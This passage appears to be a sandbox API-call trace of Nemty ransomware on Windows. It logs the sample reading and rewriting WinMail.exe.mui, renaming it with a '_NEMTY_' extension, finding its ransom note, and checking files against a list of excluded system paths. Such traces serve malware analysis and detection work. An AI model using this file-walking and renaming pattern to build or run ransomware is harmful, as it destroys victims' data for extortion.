0x4f93620 [0102.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94178 [0102.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0102.412] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\en-US\\WinMail.exe.mui" (normalized: "c:\\program files\\windows mail\\en-us\\winmail.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0102.413] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0102.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0102.413] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.413] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.422] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.422] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.431] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.432] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.441] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.441] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.450] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.450] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.460] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.460] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.470] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.470] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.479] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.479] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.489] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.489] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.498] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.498] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.498] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.498] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.508] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.508] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.514] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.514] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0102.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.520] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0102.520] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94178, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0102.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0102.520] CloseHandle (hObject=0xffffffff) returned 0 [0102.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942e8 [0102.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0102.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0102.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0102.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0102.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94360 [0102.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0102.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94360 | out: hHeap=0x4f90000) returned 1 [0102.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.521] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Mail\\en-US\\WinMail.exe.mui" (normalized: "c:\\program files\\windows mail\\en-us\\winmail.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Mail\\en-US\\WinMail.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows mail\\en-us\\winmail.exe.mui._nemty_kgobjgd_")) returned 0 [0102.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0102.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0102.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0102.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0102.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0102.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0102.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0102.521] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf09899d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf09899d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf09afb30, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0102.521] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0102.521] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0102.521] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0102.521] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0102.521] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0102.521] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0102.521] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0102.521] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0102.521] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0102.521] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0102.521] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0102.521] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0102.521] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0102.521] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0102.521] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0102.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0102.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0102.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0102.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0102.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0102.522] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0102.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0102.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0102.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0102.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0102.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0102.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0102.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0102.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0102.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0102.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0102.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0102.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0102.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0102.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0102.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0102.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0102.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0102.522] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0102.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0102.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0102.522] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.522] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf09899d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf09899d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf09afb30, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0102.522] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0102.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0102.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0102.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0102.523] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x175a74a0, ftCreationTime.dwHighDateTime=0x1d4ecca, ftLastAccessTime.dwLowDateTime=0x8ffde390, ftLastAccessTime.dwHighDateTime=0x1d5224b, ftLastWriteTime.dwLowDateTime=0x8ffde390, ftLastWriteTime.dwHighDateTime=0x1d5224b, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="germany_colombia.exe", cAlternateFileName="GERMAN~1.EXE")) returned 1 [0102.523] lstrcmpiW (lpString1="germany_colombia.exe", lpString2=".") returned 1 [0102.523] lstrcmpiW (lpString1="germany_colombia.exe", lpString2="..") returned 1 [0102.523] lstrcmpiW (lpString1="germany_colombia.exe", lpString2="...") returned 1 [0102.523] lstrcmpiW (lpString1="germany_colombia.exe", lpString2="windows") returned -1 [0102.523] lstrcmpiW (lpString1="germany_colombia.exe", lpString2="$RECYCLE.BIN") returned 1 [0102.523] lstrcmpiW (lpString1="germany_colombia.exe", lpString2="rsa") returned -1 [0102.523] lstrcmpiW (lpString1="germany_colombia.exe", lpString2="NTDETECT.COM") returned -1 [0102.523] lstrcmpiW (lpString1="germany_colombia.exe", lpString2="ntldr") returned -1 [0102.523] lstrcmpiW (lpString1="germany_colombia.exe", lpString2="MSDOS.SYS") returned -1 [0102.523] lstrcmpiW (lpString1="germany_colombia.exe", lpString2="IO.SYS") returned -1 [0102.523] lstrcmpiW (lpString1="germany_colombia.exe", lpString2="boot.ini") returned 1 [0102.523] lstrcmpiW (lpString1="germany_colombia.exe", lpString2="boot.ini") returned 1 [0102.523] lstrcmpiW (lpString1="germany_colombia.exe", lpString2="AUTOEXEC.BAT") returned 1 [0102.523] lstrcmpiW (lpString1="germany_colombia.exe", lpString2="ntuser.dat") returned -1 [0102.523] lstrcmpiW (lpString1="germany_colombia.exe", lpString2="desktop.ini") returned 1 [0102.523] lstrcmpiW (lpString1="germany_colombia.exe", lpString2="CONFIG.SYS") returned 1 [0102.523] lstrcmpiW (lpString1="germany_colombia.exe", lpString2="RECYCLER") returned -1 [0102.523] lstrcmpiW (lpString1="germany_colombia.exe", lpString2="BOOTSECT.BAK") returned 1 [0102.523] lstrcmpiW (lpString1="germany_colombia.exe", lpString2="bootmgr") returned 1 [0102.523] lstrcmpiW (lpString1="germany_colombia.exe", lpString2="programdata") returned -1 [0102.523] lstrcmpiW (lpString1="germany_colombia.exe", lpString2="appdata") returned 1 [0102.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0102.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="germany_colombia.exe", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0102.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0102.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="germany_colombia.exe", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="germany_colombia.exe", lpUsedDefaultChar=0x0) returned 20 [0102.523] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0102.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0102.523] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="germany_colombia.exe", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 